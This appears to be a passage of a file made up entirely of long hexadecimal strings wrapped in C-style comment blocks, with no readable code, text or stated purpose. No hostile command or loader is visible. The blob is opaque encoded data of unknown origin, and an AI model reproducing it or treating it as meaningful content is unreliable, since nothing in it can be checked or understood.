5464f6184a252ec3a534e1a4483513b3df2db768e1f7139e8065b555c6158f31633e09efc16f417b4ecf4c24e643a9ae0123970eadc898397ae4c9f1497c153e1425100e8265677bd537ba3ea24428267746fbddde6ff14e8777dbe3fb1efae39fca5369741bc38c22c67749fd20b7febe4357c4992501d1e06c135dcbb3d0dccdc23c414a661e956dd47061bc1b10cfe83fe067e0061bf4d3bc89803aa88aee89e81b6cfb9715a05d85c82ecfd8170fcb78915f394c70190247f4a8e239b061a96b724c723787091718c6473eb13f3f842ecb2b846f64fded2718e2cb3f9dcb719c9c53ea8830019eb78ea2a4d1a7a7c7dc23350532c433bf621602f54745d19a2bd1d61267fc5f93a6f430e808652ea171d2cfb26b7c34b22b7e4fd31263fc5239cabc98535d4d6701963f423ce107126bf9c4bad13d1db96e375bf3a01f33b9d6681819bb207c9784eb9a216670adaf71ef8943dee22bf527046790dff85c6215c3ae89893c035af76c91b90a94b713b4fc1175ce60de27a258370d5785b9d752cdc313c2b70c553acb3fe8aca0ce6bf2dd4d4601cb1aeff0bc7c5471987244dbc46016477635f762d2e88ef02641b70759a1cdb45eb75e35015140171d3363c227369abd0e72aad961c139e3689147d0204ae4ca78a91728afe1f156a9de3b4d4c5e619fbdbf03aa568fec038aa4c9f818a1945f75054a81c7dfc350d3082975a1a5f0e5de80cbe5ac24f81231b1b4b02262601ff623e29418e5bfd1e573a9750d250d4dfbe3650e871742cadbafd680b32d1edf6b1b463df4ebbb9f1b9debb068dd4a3f9d5686ea297304d0bd1e6fd861b2faee51e1c0d2e54cac75917ef43350f828350e1e61eaaa3c7ce8150965e4c0d8be2b97153faea0e36216fce2ea3413910b47ad9c18263cb6322c39ec88d4c96521671ec6cdf439ccefc07d119deb00aaa237e545842fb113ef25b246bbdcd7ff3a58149accdec01dc0df3de91c20a5faf730f37c582e1dfa0e833ef98dea00ffd168082181f468ca737d637fb83340ceb9f3206758d47d9d1c8b0903f0ddb2aabc3884a0ce32f1fba74aca10e0fe58cf5feb88cd4e31a81337c65fc8ca0d16c83a0b149e2d26520f5d784f0a4d6076bc31190d2b7eba4215dfd669ffb6d7ac5c9a57e8b24804a029c0410acabec224e8d8e9433c6f9d88fb74c78368675d820e230a769cda09dec47961b5efdc3b1e498fed4ed02bcbb9581a8446e5d76fd537f3b024f88414a9a2abe0200c276a7f71581636ff4f6f8ec8135711e0bdec3faa71fecfc748603daa35e327f66815cd896b643a5a03c3a3f3a2fb64d98d81c1ab1baca08a10403859d8c4cf6de21be454fd054f24695f532592b752bb61b2d2f662bed37e331c4fa429453b6d9fcba454240b8b6838*/
/*0bf8a30adcca58dcae411a557183d1e4fa79dee6598ec78a34b3ade693eac38ebaf672057783671f810c6b1c69a4ba8e7b3cbfd9acffed0225e8c552478a755e7ac06c70fc14eb06054be4955dcc50f078099e16c77d94d38f775f4d3d8d318b8d3ea6034d30d380164535ea9a3a7d8160076c027fb6e337eb9d1b6525edcf25f961b4af0079b94a430416e66fc9f24734d1f873e2d4c3842631ef532b1647dacf33ac1685fc65a8529d1df5b31731b4c19861ac0c1b8fba3ed89d8f409737b87c2c88025f0e881ae2dbbfb32f67d603e37d5521ee096cea5f8fdb6e1bb4d600425386ca942405d70c072336db668d2e60dfaaf6ba30ecc261715268158d2d717f58c78fd5a414338bed5d2b0b2345265804fab53a44c0aaa0d370db3ec8b7ed71e5c55920edd03af10a69d18d83052f819ebc7ca3d47e8b92f51ea2d2217c125b988fd8ae7169c77d9b651af6db0c54730e283e05e87a5c46f9d2908893cfe9ecc1bc633e07fd07ae1c7fb1bc781262cb63a647051c2537646bf23a3b7f07f1714541bfb2c8e3f098ec21f7dfb56ad37c4c496461ca97a8793cb49c9a19c79058a830c929ebdadfa4662aecbe4352360555c17d6a480544dc07ab7f76192018ba3e3433ba32100e521fc06b045b2c4c768398421dcabd527a2597dbf53e5b63f610c824d5125a7c54a4d5c2b8cda2d449e19e558330c15055eb7b01602a253e00bd98ce60597eaa117dd6b9bb6902b84bf263da2167930f13599c803c883edd25e9f3f852445cabc877f5a4f296d3117852b2a9aba49b0a3936583e38e73c4d3e110f54381054319601376186cc25306478130c4d73f30d105a3c395b49ed0c0e671fe633c24afdf149d7831477bf23c54cdef278e13a1f4f361252386f970563485d2fe014e0ffecf1f55a1cf871d7005409f12b16ecc91631de1408454e9936802e8304656e4db502bc4cb1cee94b6c10eb18497ce96d9da5457794de31bd74e4b3a9c2a03779fb6acba656e1317d6ec9ce7a9f0b32b47a3505cd7a4739bb5c90c8278188aa4629e486663f8d49a3756bf6ce2c041da147155bf36f3ec22de25f20bd4c035f31346c6b3a38cf6382b04023a65702a5b37aa06b584699db24bab707e348c29d7aeef8ad023c79a8a13aa397bde78b1cbd923976d38917e59000d4d0e8d75bb03530cf1e78809ac55c763519095c90251472cfb6725a37489b164c9670f4549053fe1c9a00d9c03dee6f30a37ac86362fd3fcc4adca53123cf1f5a93d38b696feb60e8f4309f2d50b02f253c7f04be9972702a7be1e213bf2dd773d0c88edd78b8288bd25f34953a469ddaba149a75903121ccf2dcafbb876a2b8557a39ecf456c502c1e97a6e3917fccf5b8a63e68e1a7232c466d9b03960a0fc487476374f45dd4399db06addf33a5485625dac34f1a61fdeb009ad9fa608cd337f6c445ddc13b0ffd802c71063dea3f9cd00b2e020e2769616ee6071638b75b6b68659a1822e268619c812a6aad3fc8e714a0afae9422aca5e6bf318779049594f3b2e0b456ea04accf16f108374b8853260914ccd5a2d14637a7ed6e7e080d26081d91a80164f6e6d4ba9446936c4f22fdd87f7543f8aa3245ea55236304774164653246d7130abb78bc678bdcc0c87012591cadccea49e41f71103a377e13e4bd03313823b6dd684f2476940cd18702668ca89e5a56104f5a7b2297444470ef93a2ea3207cbe09e22b5e5b0332ecd698dd287075ae00f40cf365c4f32e511ca6429fa03aa3975c47d5198f9c049caa056c6c354ee8160a9c683633647501cafbadc01b899917208fdb352b791c52501ec7e96d5c2a820ede47113ba01834ed9da0cba634fce414dd64da0b6665be6c55ef1d788de76e5bbba41be70972fab043438ddb0bc590a76b81aa6538ba8c125e8e7abd95039ac64e3caf20527d61fcec6081f846f6c76244f6550338441e1017b00d395ae86db529644b4b14d0aba0a0ad88eef80f9160fcccc879ee2d229038467f06130e235cdfec571a6123a7b548563d52cd760acebb65a8be89eb5680022ea773f40905e9fdb5281a9bfa0d8a2d2175e62eec822cbfb9608a49e4c41c165c9ce10bb08e96e372d9b291b8934bbea4e097690c5e87102a13e45beb39a3a6ad62b32903d438d8864fff4d38858b64c8d348cb7b069e8fc8ca523d34de2e5fae0ed8c09dab32a14f7b8d97eb2e7cc8c7f63634552998c7cc188a48e64074c86f5cb3aaa52d68623cf2d38228cfcb09de6ee01dcc8b25f615454e8a96efa6580ea8e0f4efb81693c9c8ef7fe24df41ebaf8412f31c1cfb8170e84437ccb40a787daf0c3af9434e4b6f658f0d76a34ec58b3a59c328f2ab836044701f4b792e5f284a4b3f887b8f66a8e39a205c17394634d6426cc4212894ad820649d911ccf827dd37dd67d4fc3443e28f0bffba97938b12bf59047015a772356fdf8dcd4ab3878dd72999e13f61c0d9ea347c36e75a852f2343cb6cf5f00b657cfe12b354e3f3f05b3ef8307cd64d8d66da67089809570b79b018bb38c2807871482c47a21b24b4d95855c68db548744f548a8b98beaccfede45e100807d9dfdce9ae7dc845e78a3e126193e7a3211a20e268d25c06db73f965c385cb4f9f85150412efca9c1c2aaf37d957f035c387164143814185d94ff90c5996709018d9f5042cf2c27425c5d99804edca94154b9fbb7d0cf2b78203ee32354961c59c58a212c96d09c46e008f97dfda00f0752ec2ae7a7b7d033c9c2793da4e6a73053f7b56aefdf8d9a6a91a68120e3e48cb32da1cb54d4756f6f7ba5c480403ff9f46a1fd3*/
/*22c81da56eee2f13dfe9b10b55891d02d83d0f107dbdc5da280da3e6c00a896e170aad1616c48816bc5ded5b7eaac3df697b235a79b84891b26a648beddac725715810d2c1d0f20e2dd06a9a67241bda287e44ea12356afe8741ea3fcc122ae5212adc483e0cda59a47cb7a22b0201d1d07663bb72e62ae261e64d83a50d20ad686c937acd7a76f379404cb5e92337ab51e0d51154849bf91c98fe77ba09aba107b3b7c9059c6157297b0d5ca90239860deb0414bc630355e00fecbc3a2499608b4a0b03985f95afbe297524552c72c0a61fa175d6216b4647232ab44817d96d0d58f2df15219ede153d6c4443942ca34a7e0c8f7a0a540a5e87be524a198a59fb3715b24e2d814c790bf201de50e1f04a8defb1d2c85571ff89c41558959f629dc9a3e7f9e032583f7986fa3762ecab8cba8eb2d8197d8d1fe48509bdad8fec8b79d814111ee5c353c2c2b8c24c972262e3c99c18a68a6cb1826ee4074d6f2db9f24efe339e773548fcaf19fb66d0660af08a3866a598869c147c4b4d8c8f7e74c2ec568ec510bc0a9409032a45635a209da865b3156b4307673a5a42c144b0f8f462492fad9233d12e9965b1d8dbd84133acf15f2f7bb2c65f8380b4c2c71a14b8d7075d669a1993687ffe00a5c5d695f51c2a5b2cb67a93291faaf0b77cb1021b91294add6e33e0fd0afb11814c45b91e9820003b10ca8f57c86f1494fd3f1d21aea402007618dbb0ec841ec24e812374fb39c65222e386fdb6cc700650a15758a888e6d459b057ee8dc81427a4ba56a39eef82a87690a781ddd917ccefb04730e6dca62a7a37b84daa3fa4c5e79a92caacd673564dbc12e9fcb6ebe356cb5cf29eea55068540dabd893af46a00d3812b6d248b52ca937b0ec5d5158a66093b724e6672c37d95a0eb4509b9f6eba5494b2652192f47e5e015ead4cc2a91fc2972463efdb9865e76639f03ea5c1de3c3bcca50631e4c686465ec18af7c9e2689b35aea78b5b662753edf5b7a0f1c8f2514fb8562950e06d659e64a59fb8c2fd652950121c84b1bc4a0e344b4ccb53e6a66d12fa248a209b86ebab218dd014162354a441c227ea72f447f65d291c15715cf12274e9fc76ebb90733dcf919f7e87ba33c9eac1d42a060e91a6c346fc7aa49e0f99ccef706ac3271f80f8e6752f55f840a369d7ffc2dab017a6d153a9608a0cecaac5cb502766126941eb546b911caeb62713bc8de63f15dfcd337d3bbe447749f24287a9f26cf08ef6782ed0fddba90013e5151cf727353d4d932ae6c92a9bc4a5c87ea70adbe04fae5ef12e52826221f892b08863aefdf309a38519f1218cb0ac4d12123b7f1dde33eaa3d65836f1ee1f18339ee4e422f0bb97a27c045c67a3fa2d2ede9d25342ac3fb4786cc12f4c8b02c6f847786bdcc132d02a9c3da347e0ba6b8c563341cffbdb286663caa1e05ca84c373464893858599ca92085768060ba07bd8bcf1ce9d8074728809e25daabfc9c6ac92bf7b03f067f952466fa3af2c2227a862594766ae4fcb54c9e99cb96105c83a50264201df1dacb8294d239a9331cbf4c7f3daa5d0a61ae43daa26a704c62751e3027a420377f579974097b6e7aa3121fd72f0f1bfc1ad16851b904528dfee915d9022a56f64ba1cc1f708c6d1a53eca2ec0179d477efab9208d33916c3ab492e520de71caff25454903cbde0f73e2b196f122bfe4f75d966fc26462c897ed82ab25a2cbbe794b036a6340d6266343cd059eb79ea3e3ef3e201975ee5b5c2c0d0c4f77842ead0a2c35dba48698b4c240b0d449fc1d2e59c3f95017d6176f8894eba80d40bde041a4ae3aac2ba2709c59904b7ab8405db60d1941e51e7a195f9c177aa1fd7e31cbd89a4670c5af6713a031775430b88090eeffa4a1fa3890a47f28abdf00c1bc3200b712744868ae2cd4b591552bac093f42e9cc3275a2e82fda57a018f96c53fd0ae7880f67f1525e43c7e2e0be1c1d4408f01a416bc332293be999d9c11d71d55ca444b14440f8183728814f7c9a8129ceb05a9e5c238760964d48b5154b36c6ba85993c3ad3c51bad245b641e2ca5ebb673b8945fc0a752cec689219a42ea1961bd087e20aca7815d27f52e2f0a046409d912948addb6d8203f5b1608fbce81a6074fcbe2ed473d5ce3e950b1a1135b38566d4c82f710859c15db612438f87210791a4eb655a729ff29fb5c37272781a551009cae216bf8d4bfd4aa5b267874a56252cf0cf447dfa68ac76172ee2302d43990bec8f8708af2218b876f31c2aad0af14d179f3645a19a418b907c4677631b6fabc2ffc33e543917554dabbf14918550e128cc0b18c70bb58f01f2a8af54e232df463c4a2ca197677cc828b555b9200434b60744fe829cfa099d68744c80d7a73bc1a5f7365010e4d15db3731f7d925643cc6da20a69a6afc06992862c7c75194618cb2e0e80dca6470e6c38669b5a381f05c2c1b4f29fb7bbebae8d77d40a3366abc4dc85779723453abe3c07cecb8d0c17f500aaf7f11b4072d7e372f4156779503347aaff4c21dd96333808ce7040255ac3e6f5175bcc0dcb741cacb0976b9979405c06b68aa1e2d692c610ce3f510fc70c54e593b2f2b46e3de383ade9c7b5ad17ed8517b0eb8a45ead0652dae44335eed6d2055df6c68e625e6364b6350b07f9b413fffcce7bb386359436b368d6c50020339f2ee84a908591b5bb5826fd8f63d5a73a0a159d329d7a1b7544ad214273a5507d93a1d5da66a268715eb159165b05074adcc338dc2c95d63688f1232754e0e39bb13b4c44df6c5fb6efdf60017a124db1d4430eaf1aea7eeb4347*/
/*24c9efea2242d9f0ba03e7b0dccd46b6d9a2570acaeafb16d9539c5913b26c5ac5cf1459b90d26a0ea98e14316541e3c702a75c3b3f3008fac38055e6d81ea7cf93fc899a1ee36fc055e64f93fa11c6a16727c69e5b28ae7c994aa17d1e6401c23f7028d9fa9c763db453e0ccf0db31ecbe04ff0810962d1e7b48f3e0db66f5c3043dbd196f95d1aa7ac90b7fe96a5e22aa90f6009b963bd11a1c854700fe7e0e6a3b525ab382312d3fa74010b5d06093384cad77fabb6af17f4c20b92f862f4a7ac1752c6efb485ab25c69f811bdda3cbe71211aff373a6e9e62bd249a77fa95ebd8ac64270a6fdf04490e26362c380d6d2b56f7227f24dc8c2bbddc49a74de33e3c982aeb9de40034a71a20fe131d83ccbfe3405b343f25134472c3876cf99fca2086bfc5dee878789d3995fd0f959a51a6eae2c6c0bacc24d21d7d9f23140a5326c51a8a09b0d9ee524042f14d7ca3c96e37c95f47e8667491a103e94a9181f8cdc53d142404f5b577cdcb3a7497eee1534067be23283949836b3b677023b22a56e3a276830d186038fe0d05a1d4d7df5e0d1203c7a89b165176effd3103f2855f27546c0f76d7a34fa1e62117e575f881e4567c7f19fd0b5bf32d6603a713060a02b74183e41b3d3b7d0a116c6854fceeb9d39b5e912bd041620894188ad9e8f09a91ac20fded89a5ae5eeb45f51da34e4c836fa8d11da2220afb15bf41046461e7402706d2ad7798c65ff440a4c0ef7e72dc81f763a69243b5727c2e9a27e136fcec253b1239b531057e5b8756f79963b3180e77190061ab6c3250db147232b39079e8cb4ca8a34615802eed100c60bd05df1016d8e6e74f410ed8b22582b91c3909ddd6a2b8c1534ac1f6425331a0e6c293cb13c4bcb1788628dfaf1aa159e51f98b4d8e5772dae2252a79928db4678d7381d3801c77747d4378cf2ed63850dacb72a2b3349e29c46f5c6e7c2b946736761b32827a577b66bc1e134b45ffb373fb09ce63c6acd1ceb685c111100ce9c56bb0e87276bb7a9ee8f36593917839181b7b09b9e2afe294c5e4d7ef5e8a06ee3604721eebead6c7524ea21d61c36e676082d807c8a47493eb236e48c1a30c8673b0ce25b0420ed6051327b9f8964cc93227efbaf93c2de76abc00bed8633ce6d834aea51940aa5836a276a86223620dc04de572957b9b974d8bc30782435fabafd181aabd04d74048fe52ea9a3070a66ab76e80c790275efb58215f96cb9c979e95225d92f00bad37abaedbf98c5d6168a4644a99a95de2d98471378c369d20ad44f11f8439cf963bcaf7ab0f293ad0d55fa0c6765b5ffc7788b17435e37aa752e44ea2d26f1acde9ed193e9916f17eef8cad0c3e99bd7bae7045ba98c450dd74635bf279ba05c1b69f585267be218603deb97e5a7eb97271b2b5dfc0b1f78f4f4d2c83c2bb25d502994bd376d480c275182320dba2c1cbb68f1fcc7dbe05b052837dc2a149d24a2a1c2f54c5efeb82bd95c8b95c6c7497eb7a88fa887e3954f54d6ef790e0012cfd23227fa9faf4205fbe34a4a859762431cc07c6d19038d8341c88a73c09afb2453f3fac6173af80ea825aed2d96d9c4e5fbb08ffc2658b5c6e9165ca440057771517e217b1f395462f3d32cab2479c1421877aadd9ff83e7b7f1b60277f7f4254ec50f3653dc99c5714b3737e730933d30b831c0e8f3ca18ae466c6adad4f9864e267bc99d83c3f3ec90853bc18dbd63e0717e6ecc4f31721b496a61a3b63eacb7298e67a11ab26784aca7388dbcd4e7de86fd05c7521b3630e483dac3337c4f78f00e8289a8562c5ebf5dd02a4000a366ee6212e5c69c4ae485add3d411d34c45c3fae8b8455f997560fe297bf968ef464b91e5975488b3abc07098fc9f83711ff9cb0a84f334fd2947b9e982ab097cb6bddd6823dd2d0ec726a180ee79b312743f112a9bb612b6f102628ded70d69e7cea0bf4025c55f28f869c2252e9df6bc47874beaba09cad3cbbdc2de7ff5fd54bceb20192117165c922fc6202699b2c1c28db3c4e88ea17816b72564df3d34ffba58054c0cb4d00f5c7613ad39f6485028060d56fce0e28929e2cd3eb18d4fd36cffcafd5cab3033a57e4532cdcad1fc4e1e9f8dc20ed1f48caf5828b015c2c7dddb76658892b89dfbc03b04a226d32ab68a43d79c320cf5d8e53b38fac14f0dd15ff00cec4e097f3d03f44b8983f6ae647bbc32fe0b8611f249aa7d4a45346ebd7cdffd7b037cb5f1b1bf3831b080d5d69b1fbaab9cbb1dc7817db3e5f3554208478e53c7a807662cb918b3507b16dd1e76dd928560513e9b0e5f5918e49efd1486732d0d3a436510ff52aa9b050e1e3716e7b6eabd997e734c2f7887131656690dd4d65c22c0c141960b271bb21159ba9e96d77046ad69a06e2415da0fc3141030d1bb77d2a76a8c0e4cc5be6bd5d666ce9d3f1c33e666c4ef017498a7e2b1cb5782b0833c05f0963bd4d25ec19fd56f1e5f3bdb87f58c1e31400e953d38b37c9b9b4f54cc6c4592f0fd134540df54460254bfacd4af0043d69cdb3f9bdb6b8149d87a4987607fbb6f3c03117ccfc816256f19a8c050442200605a57d65d333fa780acd378b6622ade2cd164c99218844d84dd67e45ebd0c1924463345badb947ac41302c57040b6c1b8ef0d203a291123ec607e081e5727a26b78973eaa0e8115682171978a7422a28a787c3c766d16e2cc670176371ff3e921b34196468dcd7f462a65c99c6c652b81dc68c94589d205d1409b8b17df2f5a1299b6510c9bd91efc196ee650fd6a3f7b95aa135e7946dc6c768ddf7594d61621c89b3c042a9592abe0*/
/*58cd39b15e8cb1c3db37f4daf9ac76599ce34017ef61dd6be7be1a75fdcd0e5bbb3b45139c5d828044ebc0b1481b69377919a3f1e7770a2e82e6197e969866e3e9fc1940af60af8a332041129535c4a7b5b1337c7d08c86db5ef41cbc010cef3bf0185ee2fac28b4e35ea78d3f4f47cdb926c67867060698b084e56891bbef5d4cd7041e95e4b09a67488447d81e465769ea33fa15286ca88ecdc393d46a5d81d6bcca1546c0be1ea4470fb1a52ddb071cb5f92772bf463dc06aa57d25977afb7e95d33f4610481516ee9f7aecf9d6c96a1fb9667704cb48ca6555935dcfdc811d8da82a6588a6cefbf3264bf37edb941a664157c3372b6d48e5d6c296611ef5560bcd62ed6a8907d961c1e0370206f46cc44b56b5ab8a25bb3eb6e0e5eb97e90d7c31977bc6902f4ffd451e0e291e9ab6aa0fea5bcc701e387b995742263073bbd3601dff6ee35cdad5f76abec103aa33614c1ab3a9b980d365d210cd47a12ec4755d9812216c80066d508698701ec7c20ca706800fb595d151c2b53e017767756a1496c6b7ee5eb950e3780d909eadd71eaef9c2d61d2be46a447fa12f679f9a5bc0d1a80ca48535a316b21de33e91af209ddbce289456ce777c4e53ebc2dfef4c4ca9d397c3cb182517c1116c58e241976a6b8b35ccb6e56c0004584c541ff07d2ed53aac44926f8ed58bce0265aa58b36adac4af38cc92755e08fa10e83d1c28a159ddcd7c06856a9700e153469bebed80151b73408f56679904eb8edb473d87339112b3a6f1664a2b862885fff6e9acfedd89b06617de4fc1c8863467b9af43375eba020d3966f9702b5ccd04458412971b6430a2161dde9998c0102859221c84020db8b2ff3bb053419d4533a116b54f93761c80860c4820b3cd532856071b84b2454cc44c249f3bf073175563d65b1a6667e727945219ee8971642f9281bde817615445bc2dc92024cdc875cac1b4e17b53b89bff86dbe0a1a1d0a330215e196cd3a28e59d2b609b4cfcb30256d52cc09419951d381717265f2aa03c639759368a439a944c05de4c2980853cf94180e84a1d54bf0a05649065e6908cde6aefa5a9ca3a7b5f2a75baf4062fd2b3be2b817599d037cc65e67a031a74c96310c735336a25346639400f63a7978d6a7cee7490e02c86d86c711a4c006129464f5029ebb25cf0cf60bb2799e09079c5224f87d0d51ed5128c84d17bd11d3e33af35887c8047b5e53cf2eb911dd46f17080b3d9ed69ea25e324ee02f646b981addb3083543a12656351f4a14dd68532ebf2b605a76c0eec2340243b71617ab2f557c8164897190e750f282da909845ac75b95f1604d2ef5ac32d16227e556586f7348a7e2b4d4f87ec09b90f17d6cfc5399704716c00e1f6ab2b85ee008cc9dc791269f253d6c89d74af23078bee373eca5bf202d0c587db77071c29e94cf7e287ab34f24270f457f6ae3d2718128a06976ac7131a1a800a4d984c2a332ce471bd5abba3b656f8e0fcc29ff5f7282a5fb2cb7b3f45565e41b25e703f4f6b216ea30cdf4bcf27ee51ac7b81090db6d143af8251d7b3f88cee8288ab63b13372187acc2c3c93c8e9e851f1a2e3fcd71f268ddf8d741f3727ed4979d804b54a9a6dda39e182ee1892b59404530b67a2ebba722cdc277ef1108fbb4d6ccffae31f368103e0c347280f16a57e6c17636e33ecb0c4b22c4f80025c2c7567788416eb348e4476ddc007f650e70ae2a79fe1e568476832605a3565bc5e63e3672d38d0fd2951a12d325709788c657045418f386931c090a617716071cfac23e62c8b4b5c23ad955226520f78e4c1742130d21d8a657c7cf00c52d94848373560357e6aaa892a49c766ff28fbc782b0345de140926ecae425901791303608bbcd5b9015634ccfbba65202581ae559dd50926638eb9d1bcb73a8453fc4608e1be805168ab438b9a6440636a0131f80f10c14779a649fa6a72fcf615fc3f5bc393bed5b197af38a175c8680f90d7b33ede7f4e48e0ec455fc4edfcae646f91b9d6ae91fbc771cfa56581f22d68658967c8bb77bd28e9311dcb87f9b6545c3cfae8460e2ecd410b760f883a082ee20afbaae317a9e23d2458b07f0262a42be372e434ebc8ffbfa5e838338299257829c8b542b7c882a97ef8a68cd10e62a3a841814d72d48e76c4d9e4d2183c2aea6d74178d61572b86418fe6e4a8c47ff1a98d135ce812dfe171d0760600870f3643cb688c378e99076b8730225ab2c4eefd360f768d8d23526a6ad6c6c8725a9512429384823b690b751c4062bbefdb8fbea5ae0c750153f10fce5bb076968cc49b067458a68f00c5baa17968dabdb3dcb35e14c894c1e339407b5a51a665a35321624c321fbb649d856bfc2e8b8f81b75fc658adefea34f844d499128678256f1f0301ac1c776a8f3c5f879f3514eb2e9ca38c091b7dc28d33d9597672247658b8c9c8bdeef2ab8ecf9d96d02235165acf953d11306407403ff004cfcfee22fc25bb3ea29e5e601f27b54f4427481583455ce5f480782edd3d65b6cb4a710c21856000780e552f1c8c230e3b7f6f421fe06f97eeee2842f9bdaadbae2d787b97728d5e537f48d2cc8a58dc3069af918df95943df257396db9dfb659423c9428f718d2c0390be2c38819c449077661ea72e77c6f4153e7884bb877488a16dbe4f6e36685579456f5eec22335907bb03aed2811bd37d6669ec89a4aa6af99415e6439599982be46f821ff1cb5c88210b77899fc5300a918815596540dfc8d4d13340a322e5d74a80f31382827289f32ef024619724c54cf0296aba16f3e336036fc98384974d510d*/
/*a164a879d1478352666baece58346664e3d3f7ce4f3b05adad8ebbeb94ce5c07aa63e8a371d67beec0984edc907235a4e15d0cc7c4b3452d007c9b81f3cc37f203a643de781f4e14e74caf09bf449cce80284ca0c6d5c7bbb718520285aa6e77c6460dc7f59b77b38f4e4c9c100d58594c6e4d7d3c3bc360dc56bf1134b552ac670a705d04c45aeae38d17e15660040b6cab36c0025ece49e4668c27ca1a0ddb3fcf66c26968dfc8ff3157e7bf77b6c6d01d74e9d52f354f9726c73b80f8531e898ac999c73f04d969e122053a328621afaa04c9cccc03a833a1ff05c7d33107e7ee3ecdae724e01ea5bda10cd734b187f0877c432a48e2f69c9b948998cec408690e96ef9cfe05c6c40f004893290215054e04a140f845826dc9230baa02eac27de94ba6b3e0619455801475c03dc9b7e43b1e880a83993bc8913ad080eefab3616706199706c9aa0f6df8da69b3c2757bea7bfac58bfa36d030943c0c562284a26ef90dc1b373b0a0c895e4489bcfd4bdbb6e3fe697f66b6d007c1d216adb5c2077403c1b7d4f6577533a3ff0fe568732054a6aab67bbb504418dc11a8e4430eaea390512a632e0ca83c992e49dbbd2a4ebd509b646e782cdeba1b3550d27a474bcb7aa5e8da277ae14b1dd195c6b2a1cc4b47f40db13b0bc2053df0a3a7cb63dba4969a3d423b69591921c1574cf427f0506229cfb3f79c9e0e614e08962bd5f01e261b78c14780ee62c8cb62151ebcc99aea98bfb76798e616564f068e861cae9e267f6d1fdeeaa54e78b3b8d777c6b60efc7eac29b2fce314479666a9bbe733bd17d908cb877f6c5563c0dfc3175de8e1fbbe19df4e64393b0b658a9713ea64c0fdbc7a9638c8cf6b86bcf48f4a0160621fe16b405f6970575e929a864f45a9272c9deb91fcb50b53f23cc4043d463f310672f000c703ebe62a00a0db143d09beba36840a6cb5d4a53dfff05a043351adde9136d8f8bfc62a6c7a278e63964c5f18910be3c25db41b8d43d948e71f010e6b01ccc7b4df8f5ee713632d5cf36ae5ec714b08fb1c0f80f27bc4e05827053ee0a6cdb5584f8aaa1362683a5bf126f64fc03afa604ee2f0871e83f43a3ec168dbff15293e67a30a9b55c9308be48d0978e78f36fbbcd2f83b5f742ca0d9f68dc0fb77018caebcea2128762520ad45e24b65057e773ec64b9b018fbdc34dea7c3f4021d0dfea2186352e5363ba047b082d577ac8e2c9f2c76f6c20406d3750b15aaf68ae12ef0a33bc3a84b455d6512eed2e0ecc42d16162780d1a05be7b7d1252695847fc90f6be71862d8248d0b1a48e74b78953ad23ec9dc3b734c67ee154edc144bdd3cd3062ccf4bf65a847c047b51d5b5f86e83d85d5d8cccf3cf90e5cc4a2b1b9f48777a38817cd1c42cca323940c5da30573bec1a70fab4d9f425ddb1bc0723aa70ece3fe247aef4ac7b0a679958d83e68afe92ccb41919458d47f6e21c15bf02fa7d10f76ffd578db26267cde3cef79040fb15a54352e23ed7d035fb39406a8b54fe4570e52fc3ed3d4be25b39f8044dbee44af58d94bf6939fd297bb3421bcd303afc9fccc53f47424c73f7aa0c4038e452b3e61510d30e644db92faf40762f203f096af350dd52e7ca96d49c14baa6e2f7d58a5a7dde4c1697afc68fb952128c4259cf9b757616c06a6e4d5912babe793680a0e743f75ae4e866a9f0a78110faae9bb6b1097415d41ebbc8ae8df334769ecd9d86f0d64c786e732963d4f92de488452eb402beae777e52ac67310a688556759bda410f3a7cdd0d8193ffe085e05146cff66b6d6eb206b824f462f5c0a5129afa2299c38837182f5312c901a417508d7a6f6c359a54bf32f4e6e65a8814829cd3b8bc9839e8b0529463fe4911198ba4c03eb34ecd8dacb7bc1856d2f2b60677382af9bdce907f55dc74378fa8efda7efe68feca5c655b0cbf3331e773ead30a0bd750f18ed456fe9cc00d8ab8c5dede7825ef61f279ae85c6db559610d9072f7449ed30aa9d9c83a7b8519a15ce76ed305cc148a8d80db44d356bab93f2200e6dccb5225d21665e39110be4d7f6323b4e3aa0c35e2bd8e553ca1ff0ddb999555aa699dd18c2447a6bf1b72448d07d7b38a572819d7b557bf8623b1b8a5a771089fc477454483c2fd1e8cbd13ad407419fec47f30e8b7fe2c842c1f9b3837f171c30c9cea00204ff1349cc4ffb36d1d29c1634137a215000ef9e1de076d91bcac400e811cd6a7f2efc9652d16fff93bffce04ad0d8a43b62118b182eae4a82d66e38e1abe474ca50af1a649a0929bfb425b18646c70bc0b96dfecaae3aa0b59d207cb5f673f6df22efd4b9e193d2bf1a6070cfd0953de506d07825d092779cfb9319ae111055d4b170bea4f32039821f3ee3d41cc6f29858da2c3a27f107cc1eb1b256f5e5daa880a0c2ee03c16d90d9decb09574f90e90e4ac130f90712cbc50b8f767261f4fb41e684c18c92d655f2fbf8e3fbd816ea01ccf272efcbf10d88544ffd1fd46302446f321608de34d13c79b7f5916f5df59d2785c11ec46f0bd5d2fdf647ce77309293f1f4cddcf49188f32a6f277afd450589576e509278bbeb2c35c2a82b5d3618d6ad2a0709199e40e706c7a4a1acb59af16596e09ffcd47fce7bda6a0536208f0f14a61dad6a8b4ae3e5407e583c70332179eab69714dfcc21c0630032f5972ba064cb8197cfc4f3c1f68dfbe379dd0ab44732647ec099ee5097f985d0e6df1bf915db3b76a7f753c892aa91b0ada9d85b5445cd6d1a06eb5d9d9b07d30a17f7335cf64649f590a4379e7da829e1920cd19aeb2691f1924dffc10ce9075*/
/*cd535ed877d266ead3baccd43093f879a1f9ee2a3ef593effb10bf1938902abf0c64f6a3c029040fc199557884d2b9793d9cfeb831c06a03f9385477df47e3547a6b848dbd36f3394822fe785996105ccac3981e8fc858bd0e2a352bf84f25a53e9e8eff1a78ae77a8fda830cfd78c8873195eec0e021d0f889af65bd8c4ece8c62b0cd9b0791d82146d3c88b619418442321f0a65efe736fe82984c7f6165f9dd33b6dabaadeb69f55dcdda0cbf4fa45d527d5207fd6a897736a7ee4d1317380e6b877eded1e7b465fc33bd8968612d98aec31d2883774cc4fec790433cb84d126532c742986829ebaddd381514ea95abd56c8cc68fc11f2ab66fb8395a28f25c3081dae74d0805a528789e4f9e392fbb44420a39120ef6ecb848a7be9e33eac86b61ef0d39ecadba2656753c1e36bb0846bf1f1c17ecdf076ee4da75416623d08875df77b77709bb193f4efd2217e29769f718be6d4271d0fe3b0622b928c87f9a4d333e5a11daca9e3aef142e4b9a9a10e4e557f98ad7e961ca7ccf9d582f440a07aab7b0a5b0ce34ed17d84b743609b0b5072213bf4f78cec9a445f58838ba44b65e1af1a2d7104b03757155aefbdfd92c06f6314cc3022489ed5bbaece54327485a2f5a53155645bcd1a867f523833a70dddceed2b7639a70444cadec163ebb6f8b158a202e7679aa970f287660731542a0198d229ffa513fd611b568e54147